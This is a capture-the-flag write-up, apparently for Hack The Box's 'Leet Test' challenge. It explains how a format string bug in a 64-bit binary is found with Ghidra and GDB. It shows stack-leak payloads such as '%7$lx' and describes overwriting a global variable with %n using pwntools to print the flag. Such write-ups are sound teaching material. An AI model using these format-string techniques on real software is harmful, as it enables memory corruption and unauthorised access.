Leet Test
7 minutes to read
We are given a 64-bit binary called leet_test
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we open it in Ghidra, we find this decompiled source code in C:
uint winner = 0xcafebabe;
void main() {
long in_FS_OFFSET;
uint random;
int urandom_fd;
int flag_fd;
void *flag;
char name[280];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
initialize();
urandom_fd = open("/dev/urandom", 0);
read(urandom_fd, &random, 4);
close(urandom_fd);
random = random & 0xffff;
while (true) {
printf("Welcome to HTB!\nPlease enter your name: ");
fgets(name, 256, stdin);
printf("Hello, ");
printf(name);
if (random * 0x1337c0de == winner) break;
puts("Sorry! You aren\'t 1337 enough :(\nPlease come back later\n------------------------");
}
flag_fd = open("flag.txt", 0);
flag = malloc(256);
read(flag_fd, flag, 256);
close(flag_fd);
printf("\nCome right in! %s\n", flag);
/* WARNING: Subroutine does not return */
exit(0);
}
Here we have a Format String vulnerability since there is a call to printf
using as first argument a variable controlled by the user. Hence, we can insert formats and potentially dump values from the stack and also write in arbitrary memory addresses. Let’s test it:
$ ./leet_test
Welcome to HTB!
Please enter your name: %lx
Hello, 7ffcc59f23e0
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx
Hello, 7ffcc59f23e0.0.0.7.7.0.9e5900000240.34000000003.58000000380.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.9000a786c25.98000000980
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
We see that the %lx
is replaced by a hexadecimal number (7ffcc59f23e0
). This is a memory address from the stack. In fact, if we insert a ton of %lx
, we will see that our input string is also placed on the stack. We can find it at position 10 (2e786c252e786c25
is %lx.%lx.
as bytes, little-endian format).
So, we can read values on the stack using a different notation. For instance, we can control values from offset 10:
$ ./leet_test
Welcome to HTB!
Please enter your name: AAAABBBB.%10$lx
Hello, AAAABBBB.4242424241414141
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %11$lx..AAAABBBB
Hello, 4242424241414141..AAAABBBB
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
The objective of the challenge is to pass the check random * 0x1337c0de == winner
. First, it will be useful to know the value of random
, which is computed at the start. Let’s use GDB to find it out:
$ gdb -q leet_test
Reading symbols from leet_test...
(No debugging symbols found in leet_test)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004012ca <+0>: endbr64
0x00000000004012ce <+4>: push rbp
0x00000000004012cf <+5>: mov rbp,rsp
0x00000000004012d2 <+8>: sub rsp,0x140
0x00000000004012d9 <+15>: mov rax,QWORD PTR fs:0x28
0x00000000004012e2 <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000004012e6 <+28>: xor eax,eax
0x00000000004012e8 <+30>: mov eax,0x0
0x00000000004012ed <+35>: call 0x401256 <initialize>
0x00000000004012f2 <+40>: mov esi,0x0
0x00000000004012f7 <+45>: lea rdi,[rip+0xd0a] # 0x402008
0x00000000004012fe <+52>: mov eax,0x0
0x0000000000401303 <+57>: call 0x401150 <open@plt>
0x0000000000401308 <+62>: mov DWORD PTR [rbp-0x130],eax
0x000000000040130e <+68>: lea rcx,[rbp-0x134]
0x0000000000401315 <+75>: mov eax,DWORD PTR [rbp-0x130]
0x000000000040131b <+81>: mov edx,0x4
0x0000000000401320 <+86>: mov rsi,rcx
0x0000000000401323 <+89>: mov edi,eax
0x0000000000401325 <+91>: mov eax,0x0
0x000000000040132a <+96>: call 0x401110 <read@plt>
0x000000000040132f <+101>: mov eax,DWORD PTR [rbp-0x130]
0x0000000000401335 <+107>: mov edi,eax
0x0000000000401337 <+109>: mov eax,0x0
0x000000000040133c <+114>: call 0x401100 <close@plt>
0x0000000000401341 <+119>: mov eax,DWORD PTR [rbp-0x134]
0x0000000000401347 <+125>: movzx eax,ax
0x000000000040134a <+128>: mov DWORD PTR [rbp-0x134],eax
0x0000000000401350 <+134>: lea rdi,[rip+0xcc1] # 0x402018
0x0000000000401357 <+141>: mov eax,0x0
0x000000000040135c <+146>: call 0x4010e0 <printf@plt>
0x0000000000401361 <+151>: mov rdx,QWORD PTR [rip+0x2d28] # 0x404090 <stdin@@GLIBC_2.2.5>
0x0000000000401368 <+158>: lea rax,[rbp-0x120]
0x000000000040136f <+165>: mov esi,0x100
0x0000000000401374 <+170>: mov rdi,rax
0x0000000000401377 <+173>: call 0x401120 <fgets@plt>
0x000000000040137c <+178>: lea rdi,[rip+0xcbe] # 0x402041
0x0000000000401383 <+185>: mov eax,0x0
0x0000000000401388 <+190>: call 0x4010e0 <printf@plt>
0x000000000040138d <+195>: lea rax,[rbp-0x120]
0x0000000000401394 <+202>: mov rdi,rax
0x0000000000401397 <+205>: mov eax,0x0
0x000000000040139c <+210>: call 0x4010e0 <printf@plt>
0x00000000004013a1 <+215>: mov eax,DWORD PTR [rbp-0x134]
0x00000000004013a7 <+221>: imul edx,eax,0x1337c0de
0x00000000004013ad <+227>: mov eax,DWORD PTR [rip+0x2cc5] # 0x404078 <winner>
0x00000000004013b3 <+233>: cmp edx,eax
0x00000000004013b5 <+235>: jne 0x4013be <main+244>
0x00000000004013b7 <+237>: mov eax,0x1
0x00000000004013bc <+242>: jmp 0x4013c3 <main+249>
0x00000000004013be <+244>: mov eax,0x0
0x00000000004013c3 <+249>: test al,al
0x00000000004013c5 <+251>: je 0x401450 <main+390>
0x00000000004013cb <+257>: mov esi,0x0
0x00000000004013d0 <+262>: lea rdi,[rip+0xc72] # 0x402049
0x00000000004013d7 <+269>: mov eax,0x0
0x00000000004013dc <+274>: call 0x401150 <open@plt>
0x00000000004013e1 <+279>: mov DWORD PTR [rbp-0x12c],eax
0x00000000004013e7 <+285>: mov edi,0x100
0x00000000004013ec <+290>: call 0x401130 <malloc@plt>
0x00000000004013f1 <+295>: mov QWORD PTR [rbp-0x128],rax
0x00000000004013f8 <+302>: mov rcx,QWORD PTR [rbp-0x128]
0x00000000004013ff <+309>: mov eax,DWORD PTR [rbp-0x12c]
0x0000000000401405 <+315>: mov edx,0x100
0x000000000040140a <+320>: mov rsi,rcx
0x000000000040140d <+323>: mov edi,eax
0x000000000040140f <+325>: mov eax,0x0
0x0000000000401414 <+330>: call 0x401110 <read@plt>
0x0000000000401419 <+335>: mov eax,DWORD PTR [rbp-0x12c]
0x000000000040141f <+341>: mov edi,eax
0x0000000000401421 <+343>: mov eax,0x0
0x0000000000401426 <+348>: call 0x401100 <close@plt>
0x000000000040142b <+353>: mov rax,QWORD PTR [rbp-0x128]
0x0000000000401432 <+360>: mov rsi,rax
0x0000000000401435 <+363>: lea rdi,[rip+0xc16] # 0x402052
0x000000000040143c <+370>: mov eax,0x0
0x0000000000401441 <+375>: call 0x4010e0 <printf@plt>
0x0000000000401446 <+380>: mov edi,0x0
0x000000000040144b <+385>: call 0x401160 <exit@plt>
0x0000000000401450 <+390>: lea rdi,[rip+0xc11] # 0x402068
0x0000000000401457 <+397>: call 0x4010d0 <puts@plt>
0x000000000040145c <+402>: jmp 0x401350 <main+134>
End of assembler dump.
gef➤ break *main+221
Breakpoint 1 at 0x4013a7
gef➤ run
Starting program: ./leet_test
Welcome to HTB!
Please enter your name: %lx
Hello, 7fffffffbe90
Breakpoint 1, 0x00000000004013a7 in main ()
gef➤ x/i $rip
=> 0x4013a7 <main+221>: imul edx,eax,0x1337c0de
gef➤ p/x $rax
$1 = 0x15c0
gef➤ x/20gx $rsp
0x7fffffffe530: 0x0000000000000000 0x000015c000000240
0x7fffffffe540: 0x0000034000000003 0x0000058000000380
0x7fffffffe550: 0x000009000a786c25 0x0000098000000980
0x7fffffffe560: 0x0000098000000980 0x0000098000000980
0x7fffffffe570: 0x0000098000000980 0x0000098000000980
0x7fffffffe580: 0x0000098000000980 0x0000098000000980
0x7fffffffe590: 0x0000098000000980 0x0000098000000980
0x7fffffffe5a0: 0x0000098000000980 0x0000098000000980
0x7fffffffe5b0: 0x0000000000000000 0x0000000000000100
0x7fffffffe5c0: 0x0000004000000000 0x0000040000000200
gef➤ grep %lx
[+] Searching '%lx' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe550 - 0x7fffffffe555 → "%lx\n"
gef➤ c
Continuing.
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %7$lx
Hello, 15c000000240
Breakpoint 1, 0x00000000004013a7 in main ()
Alright, now we have the offset where we will find the random
value (upper 2 bytes):
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, 3d8300000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, f59700000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, 73200000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
At this point, we will know what is the result of random * 0x1337c0de
. However, it won’t be 0xcafebabe
(which is the value of winner
). So, what we can do? Well, actually Format String vulnerabilities also enable us to write data into arbitrary memory using %n
. The way this format works is that it stores the number of bytes printed up to the format (%n
) into the address pointed by the format.
Since we control the stack from offset 10, we can enter here an address where we want to write to. The address of winner
is known (0x404078
), because the binary has no PIE:
$ readelf -s leet_test | grep winner
72: 0000000000404078 4 OBJECT GLOBAL DEFAULT 25 winner
In order to write a large amount of data, we can use %c
. So, the idea is:
- Leak the value of
random
- Compute
random * 0x1337c0de
- Modify the value of
winner
accordingly
You can find more information regarding Format String exploitation in my Format write-up, in my Space Pirate: Entrypoint write-up or in my Rope write-up. I also recommend watching some YouTube videos by LiveOverflow, which are great.
Manual Format String exploitation for writing values can be a bit tedious, but pwntools
comes into our rescue with a function called fmtstr_payload
, which takes the offset where we can control our format string and a dictionary mapping the address where we want to write and the value we want to write. With these, we can achieve the above steps and find the flag:
$ python3 solve.py 138.68.162.164:32700
[*] './leet_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 138.68.162.164 on port 32700: Done
b'HTB{y0u_sur3_r_1337_en0ugh!!}\n'
[*] Closed connection to 138.68.162.164 port 32700
The full exploit can be found in here: solve.py
.